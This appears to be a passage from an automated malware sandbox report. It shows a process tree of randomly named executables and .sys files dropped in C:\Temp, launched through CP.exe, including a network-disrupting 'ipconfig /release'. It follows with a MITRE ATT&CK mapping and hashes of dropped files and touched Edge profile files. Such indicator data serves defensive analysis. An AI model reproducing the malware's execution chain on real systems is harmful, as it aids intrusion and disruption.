  C:\temp\CP.exe C:\Temp\i_caxvpmhfca.exe ups_ins
  2⤵
  PID:1268
- - C:\Temp\i_caxvpmhfca.exe
    C:\Temp\i_caxvpmhfca.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4676
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\pjhbzurmkh.exe ups_run
  2⤵
  PID:2056
- - C:\Temp\pjhbzurmkh.exe
    C:\Temp\pjhbzurmkh.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1028
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:1456
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2072
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_pjhbzurmkh.exe ups_ins
  2⤵
  PID:428
- - C:\Temp\i_pjhbzurmkh.exe
    C:\Temp\i_pjhbzurmkh.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4760

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4016

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:2356

C:\Temp\spkfcausmk.sys
C:\Temp\spkfcausmk.sys
1⤵
- Executes dropped EXE
PID:1276

C:\Temp\czurmkecwu.sys
C:\Temp\czurmkecwu.sys
1⤵
- Executes dropped EXE
PID:2872

C:\Temp\pjhbztrpjh.sys
C:\Temp\pjhbztrpjh.sys
1⤵
- Executes dropped EXE
PID:4340

C:\Temp\trojhtrljg.sys
C:\Temp\trojhtrljg.sys
1⤵
- Executes dropped EXE
PID:2660

C:\Temp\igbywqojge.sys
C:\Temp\igbywqojge.sys
1⤵
- Executes dropped EXE
PID:3744

C:\Temp\jdbytqlidb.sys
C:\Temp\jdbytqlidb.sys
1⤵
- Executes dropped EXE
PID:5880

C:\Temp\davtnlfdxv.sys
C:\Temp\davtnlfdxv.sys
1⤵
- Executes dropped EXE
PID:4708

C:\Temp\ifdavsqkif.sys
C:\Temp\ifdavsqkif.sys
1⤵
- Executes dropped EXE
PID:4976

C:\Temp\cxusnkfdxv.sys
C:\Temp\cxusnkfdxv.sys
1⤵
- Executes dropped EXE
PID:2528

C:\Temp\zxrpkhczxr.sys
C:\Temp\zxrpkhczxr.sys
1⤵
- Executes dropped EXE
PID:1784

C:\Temp\ecwurmkecw.sys
C:\Temp\ecwurmkecw.sys
1⤵
PID:2528

C:\Temp\ojhbztrpjh.sys
C:\Temp\ojhbztrpjh.sys
1⤵
PID:2980

C:\Temp\oljhbzwqoj.sys
C:\Temp\oljhbzwqoj.sys
1⤵
PID:2148

C:\Temp\tqoigbytrl.sys
C:\Temp\tqoigbytrl.sys
1⤵
PID:2712

C:\Temp\dyvqoigayv.sys
C:\Temp\dyvqoigayv.sys
1⤵
PID:5828

C:\Temp\fdaysqkiga.sys
C:\Temp\fdaysqkiga.sys
1⤵
PID:5100

C:\Temp\ifaxsqkica.sys
C:\Temp\ifaxsqkica.sys
1⤵
PID:5692

C:\Temp\hfzxspkhfz.sys
C:\Temp\hfzxspkhfz.sys
1⤵
PID:2016

C:\Temp\ukecwurpjh.sys
C:\Temp\ukecwurpjh.sys
1⤵
PID:4152

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

CP.exe

Path C:\Temp\CP.exe
Size 4KB
SHA256 50b00a0816849edcc24eec9cfdd5443dbf33409ae05ee84202bfbcd00094485a
MD5 00d08d31f0ca0be125aa8ddb1c068a26
SHA1 c5e5cf5c0cb8a03c9146f5cd923cd620417eb75e
SHA512 6b5fe5899aa47239b53bc8dbd5ce6d9616ed2b0480fe55c34c27d6956f792a9c0796fe0dcd8949395284c3f5c59563efe333cc3e4e449fa9e9b7c219c88242a3
SSDEEP 48:i+HOtYCgTU534sKXG5BrBfdQSBe2nLB8JsU:fOWS3tpJ5un
TLSH
T11B912E2301A68472C8BD8FF711875AC9FABB51349322210C4BF70ED6EB70AB7446CB08
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

czurmkecwu.sys

Path C:\Temp\czurmkecwu.sys
Size 141KB
SHA256 14b79adf616778e772fc5007c20accb49f069640d76d5e9f965bd85435148584
MD5 260229ce6261295b1c9be8db1eede266
SHA1 f82669f8d9b46ce7556f65400bad4306fdee5ce6
SHA512 3dcaa05ec77b4ddd4a609815ec4bcfb498d5738b9bc2057b3433d3859e3b40653f62bf09e57ce5e2e5496ecb397455681b8dbfc534988f656d884d339e6c3e44
SSDEEP 3072:wsQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:wsQmpcF8BzXfwV
TLSH
T1A3E38D12B2D1D172E8A618BC106AC72196BE79304F76D9C3FB940BAD5E683D0B93531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dbztrljgby.exe

Path C:\Temp\dbztrljgby.exe
Size 230KB
SHA256 4dcdf78e460dde37ddfe9921c5a423cf09ddc703c17ad3819278a3508df038c1
MD5 6f29e7d1f0481a05510b1a171a66ca1c
SHA1 901b9bd636ba12f4d1c69936bd84f4acb5880022
SHA512 fbcf81341050d7f8176e9041f4f2c6d947f71291e711721363cbd7679fcbba878c9338874cadac2bb06807658ff820d35acbe0204468b1fd1b2104347632ee36
SSDEEP 3072:RJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:RghLQ0sQmpcF8BzXfwVfAI
TLSH
T1B2344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_dbztrljgby.exe

Path C:\Temp\i_dbztrljgby.exe
Size 230KB
SHA256 431d7f4515edeb48a0c4f93e64ab9fc9f2bf8fc569982a0f7dae57ecf0b813c6
MD5 f7e17e6c52348cabb3b21350ebf1c0fe
SHA1 a0119e27d0727071d5da7cf7e3e3e281c1d9050d
SHA512 195b2baab30fef1d0401dfcdcc759a806f070edcbb752a4a1e1fce1aa1510eebc05c440d6155d75f5a22a8d7a510848d82df1e3764c50a7f9101ff4c53e45451
SSDEEP 3072:YJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:YghLQ0sQmpcF8BzXfwVfAI
TLSH
T1D2344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_jgbytigdbv.exe

Path C:\Temp\i_jgbytigdbv.exe
Size 230KB
SHA256 6d308ee98aa0658be0e766b3dfc272830202a2d7bc66355d9ef39a02314a94bf
MD5 6259aed5a6ccca3929d9506f31881399
SHA1 ee3cf7d591cc5868043100d41c5520e91a49e611
SHA512 e719a9be925d8f95cb0a689e8986ac7d7d0971daae0ea327c87222a90b61b358d34e24b9a8f087e6468b02720ec631f2e7d997e24efe0c81d3160e4901ba2e6d
SSDEEP 3072:QJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:QghLQ0sQmpcF8BzXfwVfAI
TLSH
T12D344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_jhbztromge.exe

Path C:\Temp\i_jhbztromge.exe
Size 230KB
SHA256 f3550643081c6e4dbef1d19841e94bf15ddd30534b2df502d24fbd92cf5dd0fd
MD5 97608edb9243caa7bae40ca29e41d3ad
SHA1 f393f32a5d049403f5c45db23558c017ee108f14
SHA512 4259c008b6146a8feb0c0897f7de2a1929dd2db1b0e0cbaeb8b5c2cf8bde71f805c31357452ba2d0f138de2aad3a910c5b6506ccf1b6072eef8c791710060b79
SSDEEP 3072:aJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:aghLQ0sQmpcF8BzXfwVfAI
TLSH
T170344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_mkfcxjhfzx.exe

Path C:\Temp\i_mkfcxjhfzx.exe
Size 230KB
SHA256 feb8d05c6a2c0080cee0ce7d634fa165b6af8217fe5aa19c134c699f17f7f4b0
MD5 a8aaa5efbcabb349342ed6cf6c38cbd8
SHA1 2a0815cb9a734a36bc051d51e0a42ad8acc8153f
SHA512 21d9d200a7ef737af848c71baadbf92ba72c3b51a24c4b1eb8e42d6ea7092213c3651043e52027844bbf1ec0c8f2201eda6e48205d979e1231849db36c4df5b1
SSDEEP 3072:kJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:kghLQ0sQmpcF8BzXfwVfAI
TLSH
T1E5344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_mkfzxsnhcx.exe

Path C:\Temp\i_mkfzxsnhcx.exe
Size 230KB
SHA256 cca4860c90e2f39602906437d6cf348ea625dcb6066d419efb31560fe19492ef
MD5 b4d26f5e4565fb795de368d3a2ef8188
SHA1 c59e903823b007367613cf899d1af5b30fd18b41
SHA512 29414afd5504b98f5d2d2a483defb30963c73d1f9215501b8af908fe45d97d18f952c26529201fb18eecbc9c80d33a211581122e11293a7740d7295ddcb9c37d
SSDEEP 3072:dJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:dghLQ0sQmpcF8BzXfwVfAI
TLSH
T163344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_urpjhbzxrp.exe

Path C:\Temp\i_urpjhbzxrp.exe
Size 230KB
SHA256 5bced5bf7468c0d5906666013506bdb07085af63ebe5e04f1d743412335f2810
MD5 b79010894af676a9f81c585403c5dbbc
SHA1 b85da1bb24bb19b367173139df1375975cc770d5
SHA512 711a247d2e7c85cc17417ee4f8ff7b02641bf3430971c076572aa1a1f68eada5ae7757de26680f35509be7bcd42e0fb7367df9efb4d1929622ebd892ccd49764
SSDEEP 3072:lJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:lghLQ0sQmpcF8BzXfwVfAI
TLSH
T1BC344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

igbywqojge.sys

Path C:\Temp\igbywqojge.sys
Size 141KB
SHA256 1c9013812919bb1672ae8dd9b557ebf310e73d8c2a158fe2b43b2932206d2498
MD5 ad46c7734fd1f5006dce3d163676d0b3
SHA1 466b5ba39d7f47f5c7897b2b65875450646b2845
SHA512 63f5be9e452357c877aa95aee51bfd63d277da9065d72ce305a9be64f3d90fd1e647aec05769cc8a75d4b0e5374f88a9305d2d91888aae60e81a6a6dffca2295
SSDEEP 3072:2sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:2sQmpcF8BzXfwV
TLSH
T1E4E38D02B2D1D172E8A618BC106AC72196BE79304F76D9C3FB950BAD5E683D0B83531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jgbytigdbv.exe

Path C:\Temp\jgbytigdbv.exe
Size 230KB
SHA256 67409422aa55606ba313eea95e165f286c4b866680249149651e1a45f25f1b3a
MD5 defe094864c7a2cd868f50a6be3b47c9
SHA1 c4d7798291559eab9a27a309edac1d2197fa864c
SHA512 0abdab794690aacc9005595726b6808965d0b0a5c6f37e39a57a6d7c0482829351f2dda08a51ca97d47cc96a1f3cfa8d38b14cc30754361236e0a9a4c48cdb5a
SSDEEP 3072:bJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:bghLQ0sQmpcF8BzXfwVfAI
TLSH
T184344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jhbztromge.exe

Path C:\Temp\jhbztromge.exe
Size 230KB
SHA256 ceb8d622e61cd6a9ec919d7b2270b7b6750a7ff12626cd646f9f571978f908b2
MD5 567cc8097673a351141724427832b2c4
SHA1 39a45800a5e8db87a1ab72c1d1623e9b3e89a911
SHA512 ad128702e8666c8d1000fc837757da72fd85f2159e143f9135ab439a09e865630d0615235eb7d2a399949f999e923bc93e6f41718fbae6eb55005276a6127e45
SSDEEP 3072:zJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:zghLQ0sQmpcF8BzXfwVfAI
TLSH
T166344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mkfcxjhfzx.exe

Path C:\Temp\mkfcxjhfzx.exe
Size 230KB
SHA256 9d995794ec409555c7e38657d05638fd57f2ad8cd3ba3a52b42efe120e4b3f12
MD5 48ea5b2c85af33ee2794442e90b17fb5
SHA1 4c3cc742d171e1b2662260b80c5612a51dfe674b
SHA512 82f7d344a551fb4ad5df1acaa80ff0f58253d3af5deefe0ae539b16840600eec52ee2f796bb274f83ee2111622fbc5443a7bf12afbf36bfb9cb76ded0d1a8c20
SSDEEP 3072:mJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:mghLQ0sQmpcF8BzXfwVfAI
TLSH
T165344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mkfzxsnhcx.exe

Path C:\Temp\mkfzxsnhcx.exe
Size 230KB
SHA256 2d067540e0121953516f01f02fca52064a55e170f750b0df3c9b002b481ae101
MD5 258d0be254de03ab70d4284221bd6f26
SHA1 67d41636b5c9053501469aeb2b4ebcdf281fa292
SHA512 c042642cce2abf357596b2a11c60000e9b42e4002af93187a89e0175f59a632ffb0747cde36c5d77db250dca9c02c6a60f0d5fd2fc56edf75b31f911b7a25185
SSDEEP 3072:FJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:FghLQ0sQmpcF8BzXfwVfAI
TLSH
T197344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pjhbztrpjh.sys

Path C:\Temp\pjhbztrpjh.sys
Size 141KB
SHA256 0aee76a7819a4ea0abdcecbd0018ac66125592cb3597380a49a73c9ed4e54902
MD5 47dcc63f6efa549f0bc436b90cf9f10b
SHA1 afb0ebd205386326d55b3fbd1f2a5be3776576ea
SHA512 61a139c95f0dee6a278ef13145d2e23c8511ac087c013a7d43ef8c49c8c7fbdd22fde44f28bc4b4debfee8bb70b41f27ee3f11dcc064696c18bb026cdf598291
SSDEEP 3072:ZsQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:ZsQmpcF8BzXfwV
TLSH
T1F6E38D02B2D1D172E8A618BC106AC72196BE79304F76D9C3FB940BAD5E683D0B93531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

spkfcausmk.sys

Path C:\Temp\spkfcausmk.sys
Size 141KB
SHA256 00fd2514156590bccc4c8483d08ad035ee4884ee67916171ef9a97ea31c8258c
MD5 b80cb06f339932e7c51bb827cac574b3
SHA1 788e5999854b3811b3027ef2d3f84b0ab2c3964f
SHA512 c5d1d323cf67f5f7d5b135747e5d5c93663d12e30e306a09605cab8450dcfd9cc91d56d82f5e2c5c5f41132eb0c00155f47cb8bd0fc9ace0c51dc7348b369a79
SSDEEP 3072:MsQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:MsQmpcF8BzXfwV
TLSH
T1A1E38D12B2D1D172E8A618BC106AC72196BE79304F76D9C3FB950BAD5E683D0B83531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

trojhtrljg.sys

Path C:\Temp\trojhtrljg.sys
Size 141KB
SHA256 1c6d50d07ed3831982442965c479f3bc3e49badfd05d54d8121a87910f9ce758
MD5 026309fb00d3c3f44474cd0d161a8f97
SHA1 32411775ba2388570dcc53a427aa1c255e81efc6
SHA512 893cadb7135d47d38e31aeff1dfa93d83304d84e088e1abb376b7d13b1688bb715cebd14be986f69dc0b26480539823a8d136c0cfc3ad929426a2b11bb2e2be2
SSDEEP 3072:VsQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:VsQmpcF8BzXfwV
TLSH
T120E38D02B2D1D172E8A618BC106AC72196BE79304F76D9C3FB940BAD5E683D0B83531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

urpjhbzxrp.exe

Path C:\Temp\urpjhbzxrp.exe
Size 230KB
SHA256 21458db3016ce53d56faaa72c274dc8c9ce9460a1734dba43f039084431bdd77
MD5 f009b061c78e791f70f60df664714d02
SHA1 273c875ca9cf2367d5b4431fc4d5f507d4c4e6ac
SHA512 2dcc1ad7bb9ef0f739907e8eb3868d2db42f0298c21855da5c8cafe78820acd1fb59a2e11ff193b36c98f178a29bb8addcc001a4e5a5803cbca3c76455805723
SSDEEP 3072:zJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:zghLQ0sQmpcF8BzXfwVfAI
TLSH
T134344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

blocklist

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist
Size 105KB
SHA256 bf637ca0b28ebd6e948876848ccfe71d201158d460d4ad944f124f9d17ee5472
MD5 827e00d89fccbbde703c679b5c7ff536
SHA1 6d9e235782beb4e6b38fd4db2946f9bfc725110c
SHA512 1d18100db386f25678d8dabb492ab6e15d08e2c5a7d7e6c76bc253df648e2b5438cbc4fcb5a4033a1e14afbda93b271225eb5f545f12663d6bc35ca51239fcc3
SSDEEP 1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7X:fwUQC5VwBIiElEd2K57P7X
TLSH
T148B3B931457E36BF26E93EE828CF1511B84F3912624895D4ABE1FE2C4845E68633CEF4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 c36ac766a384a109222b8b647d2f5c1c2e6c4672a4a2c6b8a01f6eac0a5df074
MD5 f9f896b0e6f281d55b1ca3fa3c1ccdcd
SHA1 db44df3874cd86a961c82d25f3ae2004f249b2df
SHA512 6b8c8d305c2d7e4a3b5efb6e1967d7db1b1ffdb7979edd315013037da369c923060dae4ef8a7219176aa7e0bc1fa4cb98e48470ea2f569243a95d3301f5a40bd
TLSH
T160D09BD575046A14C5A1303A21D1935392604835741945874051E55D5C5479743FB5BD
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 b53c58762bff2a5723ae446675e8f65fd50818b95383c8f3c7efef01af06e466
MD5 629a18fe1b7a241215c77a30d7d8d7ee
SHA1 5e7bd5b514f4e46a4b986c8b89d0025cf81a1f36
SHA512 04fd58619789dc107f680a57dba3aec42e4bab7c29c0defd7e1b8ca2d078ca4c91317932ff076171bae60d370b28de32c94039c6ab690d5004ddcb857977f38a
TLSH
T182D09BD575146914C5A1303E21D2935392504835601945874051E56D5C5479743FB5AD
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 ffc22585d891786c642a0dee28aaad7d2c4fef5b2abfb41c006c983f4d490d2e
MD5 fb9bd7d72f83f0de65a31761c8f942c8
SHA1 702bb0a1e9c0d08893c66db98266e700ec15a8ee
SHA512 0060a38e8f6b1f903ede16f3e17cf8c5f4233f5af86caee3cb36df2d001bd03bcd90afb8de074a835e6e0eada8bfd94125a5f174d4654cdbcc27f234da12850a
TLSH
T148619418232D59E3DF25597002D964F832B684C34D4FAE066074BF744906FDF6C29E6C
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe593203.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe593203.TMP
Size 3KB
SHA256 291f7884ae44d9d189e30aaa438f7050fb900330c35bce1b4348c49717bc17e9
MD5 81ec2027d0c3a56d8f26eb47793e84d5
SHA1 41d6e53b3685a9fe4a9463f0674ccd776fbd7744
SHA512 69f2cc6d8c25f13eb06c05ca8e5abeb4f27028b6589421e32a5f6dd9d933d17a551128709f06fa66a68b0beb2fc5dd703bf6eba3bf9c8234101eb040e39b3d04
TLSH
T1A961A518232D59E3DF25597002D964F832B688C34D4F6E0660747F344906FDF6D29E6C
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 1KB
SHA256 85e7853e84ac3138030bbffdec02f999b125c400ce3cfa8d2a7cb3af625b24bc
MD5 2a5d4ea9aa93ad8e3d48c3fb25e5d6d4
SHA1 43c01c7b04c19dcb424eaf71569dabece39d93e5
SHA512 566769628d825224f3336620a8c949e67cdaa5c713c7f5df72a9ac868ce02365962a890d3f3d9de4c657275cf49ba3378066b2dca617214c15044a2dc1cba709
TLSH
T15C217CF3C3E585AE890196F06A28AE2BCE1D0A45832C3D59C9E4EF1B93E3475E10255F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 01f5e37b226bace9de6abe0aa352bb318c8cc09278318d855b42d0dbf30b2054
MD5 aa6f7be8ea132d55507040f197c5e24f
SHA1 3bae9dc792756c73b0472f0b77da377cf2ed04f0
SHA512 664acce72b3c5167742adf4c080ebb20fe9d2919d9dec35fea3a8c8b2b4510cd9fa3fff56bad24a5e0561c458822c751de03c820810d75788dff6bb21699185d
SSDEEP 192:sxRBRGyM/jK1Ml8wCq/fish/NZSxzoA8p94/g6+WNC0zfYxZJdG3IgtJ:sxRBc8q/fish/j5i/5dfCw3
TLSH
T17962C8156A28593BCCDBD21DFA517F93D6F81573E2941E44AAFC9E0C00E66ED221381F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 c65b72f5b78270cbc6de18b009cdabe1ae54f6e1a129078d6897f06d130e049f
MD5 3d6c091ba4c81be576d3b7c7030cb580
SHA1 22b0186b0f4b0dde96cfe6ea2894f684c05e0973
SHA512 f87366295b32d5c00c946d1f2fece27eaa5e838bcade0a1924dc7be57ae286c0d9b49de18e32cfaacbf4fb7381f7f96f12c1f3d97d37d468c0268fb6584f8edc
SSDEEP 192:sxRiRGyM/jK1Ml8wCq/fisp/NZSxzoA8p94/g6+WNC0zfYxZJdG3IgDiJ:sxRic8q/fisp/j5i/5dfCwK
TLSH
T1FD62C716AA28593BCCDBD21DFA517F93D6F81573E2941E44AAFC9B0C00E66DD221381F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 7efcee7c1a2ca463e4dcd9100f27d4e38c744d3425f6163beb47621dc551c3f0
MD5 92c86c049df7b4b1348d73e5f47ed740
SHA1 b1fa39cae251ebccf36a59bd4b0e184624d0f4cd
SHA512 4b9a1bce51ca43385b5f5db7a3ec3f2171911c91cddb3c9f34991fae95a77056fcf73f9810eebaf64675fb220abc491ca1819a5614175d6beadf6efea23bffa9
SSDEEP 192:sxRiRGyM/jK1Ml8UQqCq/fispiNZSxzoA8pr4/g6+WNC0zfYxtJdG3IgDUJ:sxRicqNq/fispij5c/5dfAwU
TLSH
T10B62D816AA285937DCDBD21DFA517F93E6F81572E2940E44AAFC9F0C00E66DD221381F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 32KB
SHA256 00c1da4eda584713ca615dd98b78763c8b653fe6328cc5ec20d85002bda39aa1
MD5 c3215ce6d7b7f3869467ee05c811f397
SHA1 46cda81f4ec230909d1db474e662da44e1e8560d
SHA512 cedde81de02ed596bb1e4b90ba4b8917291e5d0aff68a44dc6746a67edb33f0110a003697fc6532aeeb47d816963ca56472ee95340425a63764f421d1f69c777
SSDEEP 768:0xCyDs7pLuL7ijWgbrfM18F1+UoAYDCx9Tuqh0VfUC9xbog/OVBI4rVA5roJqB59:0xCyDQE7ijWgbrfM1u1jaSI4pAyJqD9
TLSH
T144E2DC7B680CCB7E4F404A9DEC297EDAADE802CB96D8C95447EA840C03C67EB51165DA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 4KB
SHA256 a2f27a402e266f4a4fb59644577ed6eef8fb460416595b9c3d1628e720c7e419
MD5 081fa7d1018c290558e737fc1095c4db
SHA1 887cf0800a43c4daee9325c5ad36dc7c338974b8
SHA512 a1630bb69d1c74aeb148cbcd427dd72243f750e49ca0087785eaf5d5643a12050673106acdea159ebf89a4a33b3373814952821ed25b459a386bb92a34d5a0ff
SSDEEP 48:KwlIpKGcETy2ls/blPvhm7G8IlDhKsI0lhgNxnuDczINKYMwvyJJ:KwliKGciC6YKHK4zWKYMyKJ
TLSH
T180911155743A5A1578BE3E188591CA56CAC1B0B7301AA52B7BE904720FBBE020EFD9CD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

